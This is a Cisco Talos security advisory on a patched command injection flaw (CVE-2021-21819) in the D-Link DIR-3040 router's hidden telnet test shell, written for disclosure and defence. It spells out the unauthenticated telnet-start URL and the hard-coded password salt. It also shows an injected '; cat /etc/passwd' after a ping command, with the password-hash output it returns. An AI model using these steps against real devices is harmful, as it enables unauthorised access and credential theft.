CVE-2021-21819
A code execution vulnerability exists in the Libcli Test Environment functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.
D-LINK DIR-3040 1.13B03
https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router
9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
The DIR-3040 is an AC3000-based wireless internet router.
As discussed in TALOS-2021-1285, a hidden telnet service can be started without authentication by visiting
https://<router_ip>/start_telnet
This service presents the user with a login prompt for their “libcli test environment”:
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
dlinkrouter login: admin
Password:
The admin user is the same user that is used within the Web UI, including the password that was created using the setup wizard. This username/password combination alone will still fail unless the salt “@twsz2018” is appended:
<password> + "@twsz2018" = <password>@twsz2018
It is here that we are presented with the following options. None of which should allow us traditional shell-access to the device.
libcli test environment
router>
help Show available commands
quit Disconnect
history Show a list of previously run commands
protest protest cmd
iwpriv iwpriv cmd
ifconfig ifconfig cmd
iwconfig iwconfig cmd
reboot reboot cmd
brctl brctl cmd
ated ated cmd
ping ping cmd
However some commands, such as the ping
and ated
commands are vulnerable to command injection because the arguments are not sanitized for command separators before being sent to systemCmd
which subsequently executes the desired program with requested arguments. This can be found in /usr/bin/cli
004016a8 move $a2, $s5 {unsanitized_ping_command_format_string}, "%s "}
004016ac addiu $s1, $s1, 1
004016b0 lw $gp, 0x10($sp) {var_30} {0x41aa70}
004016b4 addu $s0, $s0, $v0
004016b8 bne $s1, $s4, 0x401694
004016bc addiu $s2, $s2, 4
004016c0 lw $t9, -0x7fcc($gp) {systemCmd} {data_412aa4}
004016c4 move $a0, $s7
004016c8 bal systemCmd
The following is an example using their ping
functionality
* $ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
dlinkrouter login: admin
Password:
libcli test environment
router> ping -c 1 8.8.8.8; cat /etc/passwd
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=119 time=22.420 ms
admin:$1$ULRr4v9Y$Q6RhdYph2fnaDJSdSHT7o1:0:0:Adminstrator:/:/bin/sh
nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh
root:x:2:600:Linux User,,,:/home/root:/bin/sh
2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release
Discovered by Dave McDaniel of Cisco Talos.